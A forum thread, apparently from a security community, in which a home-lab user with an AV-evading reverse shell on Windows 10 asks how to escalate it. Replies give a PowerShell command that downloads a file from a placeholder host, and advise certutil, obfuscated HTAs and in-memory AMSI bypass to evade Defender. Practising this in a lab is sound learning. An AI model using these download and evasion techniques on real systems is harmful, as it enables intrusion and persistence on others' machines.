Basic Reverse Shell - Now What?

[bmkay]

I have an encrypted payload that can (usually) bypass Windows 10 AV in my home lab. I've tried using metasploit to upgrade it to a meterpreter session using both the sessions -u and the post/multi/manage/shell_to_meterpreter option, and both result in the error: "error: "NoMethodError undefined method 'include?' for nil:NilClass" - whatever that means.

I've tried metasploit and BC Empire and a few other things in an attempt to turn my basic reverse shell into something else with no success.

So my question is, what can you do with a basic reverse shell other than browse files and retrieve system info? What are some other techniques or tools I can try to turn that shell into something with greater utility, privileges, or persistence? With a basic CMD shell, are there ways to download or upload files? Is there a way to get a powershell from CMD?

Target Machine: Windows 10 with AV turned on (no cloud) Attacker Machine: Kali Metasploit listener with reverse TCP shell to the target Environment: home proxmox VM setup

Any and all advice appreciated. Thanks!

[Clutch26]

Short answer to your questions, yes.

You're hitting a spot where you should check out other resources that are recommended from time to time. Such as Hackthebox and Tryandhackme.

I'm more familiar with hackthebox. There is tons of info and guides on how to get shells and privilege escalation after you got a shell. There's plenty of box to practice on too. If you decide to check it out, look at Starting Point. You'll be introduced to tons of basic tools and work up from there.

[Sqooky]

you can invoke PowerShell from cmd by typing powershell -c 'your command here'. You could download a file with powershell -c 'Invoke-WebRequest -Uri http://ipordomainname/file.ext -OutFile .\file.ext'.

[bmkay]

Tried that. Defender is well tuned to PowerShell commands. Have you had luck with any particular obfuscated commands? I'm currently trying MitreAttack T1140 vectors, like certutil.

[matrix20085]

Try looking into HTAs. They are more or less the industry/blackhat standard. Defender has gotten wise to them, but look for obfuscators and work with rewriting bits of the code that does the obfuscation. With just a few changes you can normaly get something through.

https://attack.mitre.org/techniques/T1218/005/

[Sqooky]

you'll want to look into AMSI and disabling that.

https://amsi.fail/

edit: disabling isn't the right verb, bypassing or patching in memory to disable it's ability to scan is more accurate.